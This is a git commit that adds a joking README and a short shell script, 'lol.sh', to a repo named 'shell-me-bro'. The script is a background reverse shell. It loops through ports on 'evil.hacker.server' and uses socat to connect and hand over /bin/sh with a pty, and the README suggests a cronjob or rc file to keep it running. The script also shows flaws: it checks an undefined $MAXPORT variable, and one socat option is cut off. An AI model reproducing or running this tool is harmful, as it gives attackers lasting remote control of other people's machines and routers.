This commit is contained in:
kayos 2020-10-18 13:22:17 -07:00
commit 05923f8021
2 changed files with 50 additions and 0 deletions

22
README.md Normal file

@ -0,0 +1,22 @@
# shell-me-bro
###### for popping shells and shit idk what do you want me to say
---
- pops shells on penguin computers
- for some reason puts a file in /tmp/ indicating the port it's trying?
- tends to stay running in the background (annoyingly)
- made sense at the time
- works on like routers and shit (if you have socat bin)
- idk stick it in a cronjob or an rc file or some shit
---
have you ever been doing evil hacker things and you manage to fuck yourself out of a shell like over 9,000 times and you can't upgrade to a proper pty because the target is an old ladies wristwatch on some stupid architecture that doesn't do anything you want it to?
*say goooooodbye to that bullshit*
decades of intense research have went into this, idk, like 12 line script that i wrote
i spent more time on this readme.md than this script but i'll maybe do more things in this repo who knows

28
lol.sh Normal file

@ -0,0 +1,28 @@
# idk man it like runs in the background and
# like pops shells or some shit
# and cycles up through ports
# it works on like routers or whatever
# you need socat and stuff
######Config####
STARTPORT=105
ENDPORT=115
TIMEOUT=90
HOST=evil.hacker.server
################
PORT=$STARTPORT
while true;
do
find /tmp/ -iname "*.prt" -exec rm {} \;
touch /tmp/a${PORT}.prt
if [[ $PORT != $MAXPORT ]]
then
PORT=$((PORT+1))
else
PORT=$STARTPORT
fi
sleep 8
/tmp/socat -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} exec:/bin/sh,pty,stde
done &>/dev/null&